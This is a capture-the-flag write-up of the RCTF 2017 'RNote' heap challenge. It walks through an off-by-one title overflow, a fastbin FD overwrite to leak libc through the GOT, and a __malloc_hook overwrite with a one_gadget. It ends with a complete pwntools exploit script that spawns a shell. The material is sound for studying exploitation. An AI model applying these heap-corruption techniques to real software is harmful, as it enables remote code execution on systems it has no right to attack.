RCTF 2017 RNote Write-up
RNote (pwn)
RNote was a pwnable which was only solved by 25 teams, Plus, it used a very interesting attack vector, ie Fastbin->FD overwrite for a arbitary read/write.
You can download the challenge files here
PS: After reading other write-ups, I realized that I over complicated the process of leaking Libc, I know that I am dumb : (
So, we are provided with the binary, and the libc of the server. This probably means that we have overwrite something to get a shell, and for that, we need the offsets from servers Libc.
As the always first step, we run the binary through file
utility
$ file RNote
RNote: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=dc8994af689f63aadd197e6efd0b4b33c9fb1db6, stripped
So it’s a 64 bit stripped executable
Then we run a checksec
on it
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
So it has NX enabled, but no PIE and canary. Good for us
Then we do a test run of the binary, trying to get comfortable around what the binary does. We are provided with a simple menu of a typical heap exploitation problem
welcome to RNote service!
***********************
1.Add new note
2.Delete a note
3.Show a note
4.Exit
***********************
Your choice:
We can add a Note, delete a Note, or show a Note. The first thing I checked for was a UAF (use-after-free), by Deleting a Note and then making the binary show it. But no luck.
So to add a Note, we have to first give a size, then a title and then the content
welcome to RNote service!
***********************
1.Add new note
2.Delete a note
3.Show a note
4.Exit
***********************
Your choice: 1
Please input the note size: 20
Please input the title: ABC
Please input the content: BCD
***********************
1.Add new note
2.Delete a note
3.Show a note
4.Exit
***********************
Your choice
Maybe there could be a typical heap overflow there, So I enter more words in the content
than the size, but still no luck. Looks like there is a read ()
call with the parameter size
as given by us, Since it is only reading the amount of characters as given in size
Since we couldn’t find anything, now’s the time to reverse the binary. I pop it into Hopper and start reversing the functions. Since there are a lot of functions, it takes quite a bit of time to identify and reverse.
Here is the function which was vulnerable to an off-by-one, which is the base of our exploit
00000000004009c8 mov rbp, rsp
00000000004009cb sub rsp, 0x20
00000000004009cf mov qword [ss:rbp+var_18], rdi
00000000004009d3 mov dword [ss:rbp+var_1C], esi
00000000004009d6 mov dword [ss:rbp+var_4], 0x0
00000000004009dd jmp 0x400a41
00000000004009df lea rax, qword [ss:rbp+var_5] ; XREF=sub_4009c7+128
00000000004009e3 mov edx, 0x1 ; argument "nbyte" for method j_read
00000000004009e8 mov rsi, rax ; argument "buf" for method j_read
00000000004009eb mov edi, 0x0 ; argument "fildes" for method j_read
00000000004009f0 call j_read
00000000004009f5 test rax, rax
00000000004009f8 jns 0x400a04
00000000004009fa mov edi, 0x1 ; argument "status" for method j_exit
00000000004009ff call j_exit
0000000000400a04 mov eax, dword [ss:rbp+var_4] ; XREF=sub_4009c7+49
0000000000400a07 movsxd rdx, eax
0000000000400a0a mov rax, qword [ss:rbp+var_18]
0000000000400a0e add rdx, rax
0000000000400a11 movzx eax, byte [ss:rbp+var_5]
0000000000400a15 mov byte [ds:rdx], al
0000000000400a17 mov eax, dword [ss:rbp+var_4]
0000000000400a1a movsxd rdx, eax
0000000000400a1d mov rax, qword [ss:rbp+var_18]
0000000000400a21 add rax, rdx
0000000000400a24 movzx eax, byte [ds:rax]
0000000000400a27 cmp al, 0xa
0000000000400a29 jne 0x400a3d
0000000000400a2b mov eax, dword [ss:rbp+var_4]
0000000000400a2e movsxd rdx, eax
0000000000400a31 mov rax, qword [ss:rbp+var_18]
0000000000400a35 add rax, rdx
0000000000400a38 mov byte [ds:rax], 0x0
0000000000400a3b jmp 0x400a49
0000000000400a3d add dword [ss:rbp+var_4], 0x1 ; XREF=sub_4009c7+98
0000000000400a41 mov eax, dword [ss:rbp+var_4] ; XREF=sub_4009c7+22
0000000000400a44 cmp eax, dword [ss:rbp+var_1C]
0000000000400a47 jle 0x4009df <----- Vulnerabilty right here
0000000000400a49 mov eax, dword [ss:rbp+var_4] ; XREF=sub_4009c7+116
0000000000400a4c leave
0000000000400a4d ret
; endp
This function was only used to take the input for the Note title
, and there is an off by one overflow, This functions takes a size
and address
parameters, and it reads input char by char upto the given size
. But since the indexing starts from 0 and it uses a jle
(Jump if less than or equal) instead of jl
(Jump if less than), It is vulnerable to an off-by-one overflow.
Now let’s pop the binary into GDB and see what we are able to overwrite
So it comes out that we store an array of some struct (we call it Note) in the .bss
segment, starting from 0x6020e0
and struct is somewhat like this
struct Note{
int size; <----The size of our Note
int isSet; <----A Boolean variable to check if a Note is set or is deleted
char title[16]; <---- Array to hold the "Title" of the Note
char *content; <---- A pointer to heap for the Note's content, malloc'd with the size above
}
Here is the representation in memory
gdb-peda$ x/100gx 0x6020e0
0x6020e0: 0x0000001400000001 0x0000000000434241 <-- Size 0x14, isSet is 1, and 0x434241 is "ABC" in little endian
0x6020f0: 0x0000000000000000 0x0000000000603010 <-- The heap address of out note content
0x602100: 0x0000000000000000 0x0000000000000000
By looking at this, we are able to modify the LSB (Least significant bit) of our heap address (not a full overwrite unfortunately). So how can we use that for a arbitary read/write??
This is where the interesting thing starts, and I will try to explain it as clearly as I can.
Whenever we have heap chunks of size’s less than 0x80
(on a 64 bit machine), and we free them, they are added to a linked list of Fastbins
,
It is an array of all linked lists of fastbins, sorted by their size. The lists are also only connected single sidedly, So there is only a FD
(Forward) pointer, but no backwards pointer.
So when we free a chunk whose size is less than 0x80
, it is added to the linked list of Fastbins, and now if we will request a heap chunk of that size again, the fastbin on the front (most recent) of the list will be served, and the FD pointer of that chunk (if it exists), will now be the front of list.
I know it’s kinda confusing, but I will explain more deeply along the way. For a super awesome understanding of how heap and everything is managed, you can read this blog post
So if we are somehow able to overwrite FD pointer of a fastbin (not the front one) in the linked list, we would be able to make an heap object at an arbitary location (there’s a check/verification also, but we will come to that later), since that FD would be returned to us at sometime when it comes on the top of the fastbin’s linked list
So this is what we do.
- We allocate 3 heap objects (Notes) of the same size
- Then we free the last two in reverse order, So as to get a fastbin list
This is how our heap looks before that
gdb-peda$ x/100gx 0x01634000
0x1634000: 0x0000000000000000 0x0000000000000031 <-- 1st object
0x1634010: 0x000000000a626262 0x0000000000000000
0x1634020: 0x0000000000000000 0x0000000000000000
0x1634030: 0x0000000000000000 0x0000000000000031 <-- 2nd object
0x1634040: 0x000000000a626262 0x0000000000000000
0x1634050: 0x0000000000000000 0x0000000000000000
0x1634060: 0x0000000000000000 0x0000000000000031 <-- 3rd Object
0x1634070: 0x000000000a626262 0x0000000000000000
0x1634080: 0x0000000000000000 0x0000000000000000
0x1634090: 0x0000000000000000 0x0000000000020f71
And this is after the Freeing, we first free the 3rd object, and then 2nd. So the second one is at top of the fastbin list
gdb-peda$ x/100gx 0x00b35000
0xb35000: 0x0000000000000000 0x0000000000000031
0xb35010: 0x000000000a626262 0x0000000000000000
0xb35020: 0x0000000000000000 0x0000000000000000
0xb35030: 0x0000000000000000 0x0000000000000031 <--- Free'd object no 2, at the top of Fastbins list
0xb35040: 0x0000000000b35060 0x0000000000000000 <--- FD pointer to the next fastbin --> 0xb35060
0xb35050: 0x0000000000000000 0x0000000000000000
0xb35060: 0x0000000000000000 0x0000000000000031 <--- Free'd object no 3, second in the Fastbin List
0xb35070: 0x0000000000000000 0x0000000000000000 <--- No FD pointer here since it is the last in linked list
0xb35080: 0x0000000000000000 0x0000000000000000
0xb35090: 0x0000000000000000 0x0000000000020f71
And this is here is the Fastbin’s array
fastbinsY = {0x0, 0xb35030, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, <-- The second linked list which points to our latest free'd object
And this is how it points to addresses
0xb35030 --> 0xb35060 --> 0x0
The fastbins, when we would allocate an object at 0xb35060
, would look at 0xb35060 +0x10
for a fastbin FD pointer, but since there is none, it would end the linked list.
BUT!!, Since we had one byte overwrite, we can overwrite the heap address of the 1st Note to point to 0xb35070
, by overwriting the LSB with 0x70
,and then we can free it again, Which would then add 0xb35060
to the front of the fastbins list, which would then look like this
fastbinsY = {0x0, 0xb35060, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
here is the .bss
after off-by-one overwrite
gdb-peda$ x/100gx 0x6020e0
0x6020e0: 0x0000002800000001 0x6161616161616161
0x6020f0: 0x6161616161616161 0x0000000001b6c070 <-- 0x70 is the new overwritten LSB, point to third object
0x602100: 0x0000002800000000 0x0000000000616161
0x602110: 0x0000000000000000 0x0000000001b6c040
0x602120: 0x0000002800000000 0x0000000000616161
0x602130: 0x0000000000000000 0x0000000001b6c070
And here is the tracing of its pointers
0xb35060 --> 0xb35030 --> 0xb35060 --> 0x0 //Technically it won't be 0x0, but just to show end here
Now you may start seeing that where i am getting at. If we now allocate an object of the appropriate fastbin size, it would be allocated at at 0xb35060
, and then 0xb35030
would end up at the front again. This is how the trace would look again
0xb35030 --> 0xb35060 --> Arbitary Location
but since we allocated an object at 0xb35060
, we now control the FD pointer, which we can point it to any arbitary location, and get an object there.
But here’s another problem, there is a check when we allocate a new object from the fastbin’s list
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
{
errstr = "malloc (): memory corruption (fast)";
errout:
malloc_printerr (check_action, errstr, chunk2mem (victim), av);
return NULL;
}
It checks if the chunk we are requesting is the same size as the one on the top of FD list, and if it’s not, it errors out and program exits.
So what it essentially checks is
if (FD+8 != size requested){
error out
}else allocate object
So we somehow need to find a usefull location to allocate an object where we can bypass the check and even overwrite stuff for our use.
Turns out, the array in .bss
segment is the best place to allocate it, since the Note object has a size
member, which we can set to any size. And then we can point to FD to size-8
so the check is cleared and we get an object there. And the Note struct also holds a pointer to our content
, which we can then overwrite to point to any arbitary location.
Thus here’s the plan
- We make a Note with the size
0x30
as out fastbin chunks are of same size (to use as the fastbin verification) - Then we overwrite the FD pointer of our to point at the location of above^ chunk’s
size-8
member, as fastbin checks at +8 - Now we allocate some more objects to reach the end of FD list, which now should point to overwritten FD.
- Then we make another Note, and the
content
pointer of that Note will now point to our overwritten FD, which is in the.bss
itself. Then we overwrite thecontent
pointer of the next object to GOT (global offset table), so when we read from it, we actually read from GOT (thus leaking libc)
Here’s the visualization of the steps
PS: Sorry for the changed heap addresses everywhere, I forgot to turn off ASLR before doing the write-up : (
Here i added a new chunk of size 0x30
0x6020e0: 0x0000002800000001 0x0000000000636261
0x6020f0: 0x0000000000000000 0x0000000001b6c070
0x602100: 0x0000003000000001 0x0000000000636261 <-- size 30 chunk, at 0x602104
0x602110: 0x0000000000000000 0x0000000001b6c0a0
0x602120: 0x0000002800000000 0x0000000000616161
0x602130: 0x0000000000000000 0x0000000001b6c070
Since the 0x30
is at 0x602104
, We need to add the FD pointer at 0x6020fc
Here is the heap with with overwritten FD
gdb-peda$ x/100gx 0x01b6c000
0x1b6c000: 0x0000000000000000 0x0000000000000031
0x1b6c010: 0x000000000a626262 0x0000000000000000
0x1b6c020: 0x0000000000000000 0x0000000000000000
0x1b6c030: 0x0000000000000000 0x0000000000000031
0x1b6c040: 0x0000000001b6c060 0x0000000000000000
0x1b6c050: 0x0000000000000000 0x0000000000000000
0x1b6c060: 0x0000000000000000 0x0000000000000031
0x1b6c070: 0x00000000006020fc 0x000000000000000a <--- Overwritten FD pointer, comes after the the above object
0x1b6c080: 0x0000000000000000 0x0000000000000000
0x1b6c090: 0x0000000000000000 0x0000000000000041
0x1b6c0a0: 0x000000000a646362 0x0000000000000000
0x1b6c0b0: 0x0000000000000000 0x0000000000000000
0x1b6c0c0: 0x0000000000000000 0x0000000000000000
0x1b6c0d0: 0x0000000000000000 0x0000000000020f31
\(x = y\)
Now I allocate two more objects, which then use up the fastbin list, and now on the top is our overwritten FD
fastbinsY = {0x0, 0x6020fc, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
Now if we request an object of the same size as fastbin, it would be allocated at 0x6020fc
. By looking at memory near 0x6020fc
, I figured out there’s a difference of 12 bytes between between where we start the overwritten Note
and the heap address of Note
we are overwriting. So I add the Note
with content of 12 bytes Junk and then the address I want to overwrite it with
So I overwrite the heap address of the Note’s content
to that of GOT entry of PUTS (0x602028
)
Here is how it looks after the overwrite
gdb-peda$ x/100gx 0x6020e0
0x6020e0: 0x0000002800000001 0x0000000000636261
0x6020f0: 0x0000000000000000 0x0000000001b6c070
0x602100: 0x0000003000000001 0x4242424200636261
0x602110: 0x4242424242424242 0x0000000000602028 <-- Overwritten with GOT + 12 bytes Junk
0x602120: 0x000000280000000a 0x0000000000636261
0x602130: 0x0000000000000000 0x0000000001b6c040
0x602140: 0x0000002800000001 0x0000000000636261
0x602150: 0x0000000000000000 0x0000000001b6c070
0x602160: 0x0000002800000001 0x0000000000414141
0x602170: 0x0000000000000000 0x000000000060210c <-- The newest allocated object, which took the address from FD, and thus we are able to write at that location
And now if you choose the Show Note
option, and choose Note 1 (0 based indexing), It will end up spitting the GOT address of Puts, from which we can calculate the libc base.
1.Add new note
2.Delete a note
3.Show a note
4.Exit
***********************
Your choice: 3
Which Note do you want to show: 1
note title: abc
note content: `m\x0e\x7f\x00\x00p_\x7f\x00\x00\x0e\x7f\x00\x004\x0e\x7f\x00\x00\x86\x07@\x00\x00\x00\x00\x00\x10_\x7f\x00\x00
***********************
1.Add new note
2.Delete a note
3.Show a note
4.Exit
***********************
Your choice:
I wrote a python script which does all the parsing for me
Now since we have an arbitary read, how do we convert it into a write??
I was stuck on this forever, since I can’t allocate an object in the GOT (as we can’t satisfy the fastbin check above), what can we do?
Then I stumbled upon this article, which was also about the fastbin FD overwrite, and it had a neat little trick to pop up a shell.
What we essentially do is the same as above, but now in libc at the location of __malloc_hook
, where we can satisfy the fastbin check too.
Then we overwrite the __malloc_hook
. Since the __malloc_hook
is called before every malloc()
call, we thus now the control the RIP
, and can use it to pop a shell
The trick was that we don’t need to be aligned to 8 bytes for the FD pointer, thus we find a location before __malloc_hook
, which then +8 would give only the MSB (Most significant bit) of the address written there. And since the MSB there was 0x7f
, we can use fastbins of size 0x70
to fullfill the fastbin check.
The location we choose is 0x7f0ee50f872d
(0x3519cd bytes from Puts) which when checked by the fastbin would give the size of 0x7f
as the size.
0x7f0ee50f872d: 0x0ee4dbab50000000 0x000000000000007f
0x7f0ee50f873d: 0x0000000000000000 0x0000000000000000
0x7f0ee50f874d: 0x0000000000000000 0x0000000000000000
0x7f0ee50f875d: 0x0000000000000000 0x0000000000000000
The __malloc_hook
is at 0x7f0ee50f8740
, which is 0x3
bytes from the location where we will start the Note’s content
0x7f0ee50f8730 <__realloc_hook>: 0x00007f0ee4dbab50 0x0000000000000000
0x7f0ee50f8740 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
Then by using the same technique as we used for libc leak, we allocate an object here, and then overwrite __malloc_hook
as we overwrote the heap address in struct to leak libc
We overwrite __malloc_hook
with the address of one_gadhet
, which I found using the awesome tool by david942j
By using the One Gadget RCE, we don’t have to worry about setting parameters/registers to get a shell, as jumping directly to that address set’s up everything.
Here is my final script (The offsets I used are for my local Libc, so change them accordingly). And of-course I used pwntools, which are awesome for these type of things
from pwn import *
#Some helper functions to aid in process
PUTSFROMBASE = 458080
HookFromPUTS = 3480013
GOTPUTS = 0x602028
MagicRce = 0xe9f2d #From base
def rc ():
r.recvuntil (":")
def addNote (size,title, inp):
r.sendline ("1")
rc ()
r.sendline (str (size))
rc ()
if len (title) >= 17:
r.sendline (title+inp) #Sending together as it sends a newline too, which then end up in next read ()'s loop, which exits after newline
else:
r.sendline (title)
r.sendline (inp)
rc ()
rc ()
def recTitle (num):
r.sendline ("3")
rc ()
r.sendline (str (num))
data = r.recvuntil ("*").split ()[2]
rc ()
return data
def recData (num):
r.sendline ("3")
rc ()
r.sendline (str (num))
data = r.recvuntil ("*").split ()[5]
rc ()
return data
def delNote (num):
r.sendline ("2")
rc ()
r.sendline (str (num))
rc ()
#r = remote ("rnote.2017.teamrois.cn", 7777)
r = process ("./RNote")
rc ()
addNote (40, "a"*16+chr (0x70), "bbb")
for m in range (2):
addNote (40, "aaa", "bbb")
for m in reversed (range (1,3)):
delNote (m)
delNote (0)
addNote (40, "abc", p64 (0x6020fc))#Aligned address for 0x30
addNote (0x30, "abc", "bcd")#New object with size 0x30 to align object for fastbin verification
for m in range (2):#Filling the FD list
addNote (40, "abc", "AAA")
addNote (40, "AAA", "B"*12+p64 (GOTPUTS))
r.interactive ()
LIBCPUTS = int (recData (1)[:8][::-1].encode ('hex'), 16)
log.info ("Libc PUTS Leaked ==> 0x%x"%LIBCPUTS)
MallocHook = LIBCPUTS+HookFromPUTS
LibcBase = LIBCPUTS - PUTSFROMBASE
log.info ("Libc Base found ==> %x"%LibcBase)
log.info ("Overwriting __Malloc_hook here ==> %x"%MallocHook)
#-------------------------
addNote (40, "BBB", "BBB") #Just another object to keep everything is single byte overflow range
#---------------------------
addNote (0x60, "B"*16+chr (0xf0), "BBB")
for m in range (2):
addNote (0x60, "BBB", "BBB")
for m in reversed (range (7,9)):
delNote (m)
delNote (6)
addNote (0x60, "CCC", p64 (MallocHook))
for m in range (2):
addNote (0x60, "BBB", "BBB")
addNote (0x60, "KKK", "A"*3+p64 (LibcBase + MagicRce))
log.info ("Add a new note and you will have a shell")
r.interactive ()